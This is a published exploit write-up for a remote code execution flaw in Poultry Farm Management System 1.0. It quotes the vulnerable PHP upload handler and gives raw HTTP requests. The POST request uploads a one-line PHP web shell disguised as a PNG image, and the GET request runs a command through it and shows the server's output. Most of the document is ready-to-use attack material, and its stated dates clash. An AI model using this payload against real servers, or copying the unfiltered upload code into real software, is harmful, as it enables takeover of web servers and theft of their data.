# Title: Poultry Farm Management System 1.0 Remote Code Execution (RCE)
# Author: Hejap Zairy
# Date: 20.07.2022
# Vendor: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files
```php
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"profileimages/".$_FILES["productimage1"]["name"]);
$sql="update tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /Redcock-Farm/farm/update_image.php?id=2 HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/Redcock-Farm/farm/update_image.php?id=2
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png
<?=`$_GET[515]`?>
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```
#Status: CRITICAL
[+] Payload GET
```
GET /Redcock-Farm/farm/profileimages/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
```
#Response
```
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2022 08:04:28 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8
0day hejap Zairy
```
# Description:
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.
# Proof and Exploit:
https://i.imgur.com/uZfnU3c.png